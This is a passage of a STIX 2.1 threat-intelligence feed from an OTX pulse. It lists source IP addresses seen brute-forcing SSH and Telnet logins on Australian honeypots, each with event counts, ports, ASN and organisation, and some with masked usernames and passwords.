      "id": "indicator--46a19f7c-cbf9-4cb9-b5b1-cb104f0cf078",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.108.71.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T06:15:16.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--08d430fd-0d1e-4038-afbf-30642403a119",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T06:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.183.195.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T06:15:16.000Z",
      "valid_until": "2026-06-06T06:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): a***n, u****u, g***t, t**t, 3**********4. Passwords observed (masked): !**********c, *, 1********1, 1*******!, 1*******D.",
      "id": "indicator--9a759b15-6a21-4236-b5aa-3894cfd54200",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.13.206.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--40576710-c383-460a-a666-44ddf7e44c55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.90.49.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1a0f0225-6108-46a8-a34d-062bc64ed5a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.220.189.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--8d1e61e0-ac6b-494e-ab16-5650dca8012d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.217.65.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3ca57512-e8bd-4fad-8bf1-adda16acdbb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.122.36.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4e0a5934-4944-42d8-af47-f74a46d98f10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 321. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u, r**t, 3**********4, s***s, t*******r. Passwords observed (masked): t**t, 1**4, 3***********4, 3**********4, t*****3.",
      "id": "indicator--2b6e4e9e-3da4-4a18-a56c-59cf952bd38e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.203.35.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--8ecc225a-5a5f-4d98-aa0c-1ccaf3b891d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.116.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 132510. Organisation(s): IDC ShanXi China Mobile communications corporation. Usernames observed (masked): a***n. Passwords observed (masked): A***********r.",
      "id": "indicator--3c1a02e2-7898-4979-be94-bd403705e25d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.201.208.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 135089. Organisation(s): China Telecom. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--9b0cedba-af2f-4c99-b5e6-bb74269a0897",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.56.235.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--20816c33-60be-4710-9d92-2f24f5fcbe0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 252. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 13213. Organisation(s): Thg Hosting Limited.",
      "id": "indicator--fcc1e280-e4fd-42fa-a60d-96d39666ce8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.130.127.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e24618db-138d-4517-ac36-d76388fe8c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.162.135.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--a41dd743-ffda-441a-8c44-b592f440bfc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.153.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, t*****p, 3**********4, d****y, f*****r. Passwords observed (masked): !**********c, 1****6, 1***********3, 3***********4, 3**********4.",
      "id": "indicator--40a52909-6871-432b-9e60-2a13797f15a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.225.176.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications. Usernames observed (masked): u****u, r**t, 3**********4, s***s, t*******r. Passwords observed (masked): t**t, 1**4, 3***********4, 3**********4, t*****3.",
      "id": "indicator--26b7cc53-56dd-43a0-ab86-0542aadcfb7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.99.170.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 24955. Organisation(s): JSC Ufanet.",
      "id": "indicator--371a24c4-7003-49bc-87ee-02a8f9c23eb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.30.212.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T07:15:11.000Z",
      "valid_until": "2026-06-06T07:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--0a8d33c0-920a-4a3b-85a6-d270faadf23d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.46.201.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): a***n. Passwords observed (masked): 1******q.",
      "id": "indicator--27b038a0-20d2-4c48-81d7-144bb311d438",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.239.88.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262590. Organisation(s): NET ON LINE LTDA.",
      "id": "indicator--a8975497-d2ea-469a-9749-bc4b81f33e15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.122.250.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a*****4.",
      "id": "indicator--06001c7f-0f7d-4423-b74d-2a6e38287647",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.229.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28210. Organisation(s): GIGA MAIS FIBRA TELECOMUNICACOES S.A..",
      "id": "indicator--5e195a94-5b14-492c-9ebd-14afc8912e7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.131.183.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): u****u, v*****r. Passwords observed (masked): 1*********t, k****e, q****y.",
      "id": "indicator--abb56643-14fd-4db7-8670-52af2e4b8fd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.160.200.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 214295. Organisation(s): Skynet Network Ltd.",
      "id": "indicator--899516e4-de68-4bed-b408-abc9408e82e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BA. ASN(s): 42560. Organisation(s): Telemach BH d.o.o. Sarajevo.",
      "id": "indicator--be7c4337-a458-485f-8924-c92b99eafa14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.239.14.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk.",
      "id": "indicator--ed1e034d-2c24-46cd-8b8c-6cd03d7d6e0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.148.106.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, 3**********4, a*****e. Passwords observed (masked): 3***********4, 3**********4, A*******3, F********3, P***********~.",
      "id": "indicator--1c6c2f7f-3c0e-4dca-80f6-0ecc8cbe6195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T08:15:10.000Z",
      "valid_until": "2026-06-06T08:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 235. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, a***n, a**x, ***. Passwords observed (masked): !**********m, 1******8, 1********n, 1*****1, 2******0.",
      "id": "indicator--045623aa-d426-429e-af00-11ea7a2cde53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.250.10.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): g*****t, 3**********4, p******s, v**x. Passwords observed (masked): 3***********4, 3**********4, g*****t, p******d, t**t.",
      "id": "indicator--e3e96408-ed52-4550-9a87-49a84b3d4dd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.248.83.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 321. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 27947. Organisation(s): Telconet S.A. Usernames observed (masked): u****u, a***n, r**t, u**r, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******3, 1****1, 1****6.",
      "id": "indicator--74ac8a79-6f7d-46f1-aa74-0d4e494639a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.4.240.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28140. Organisation(s): G2G INTERNET E SERVICOS DE TELECOM LTDA.",
      "id": "indicator--7e1863fd-478b-449d-9de4-4e9a4bb38117",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.103.218.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): u****u, r**t, t***1, 3**********4, a***n. Passwords observed (masked): 1****6, 1****6@qq.com, 1******b, 1******q, 1****e.",
      "id": "indicator--2d0fff5e-9f07-41b1-8635-48d2584bf52f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.212.38.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--f18bcb17-037f-4050-9d75-31f767780cb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
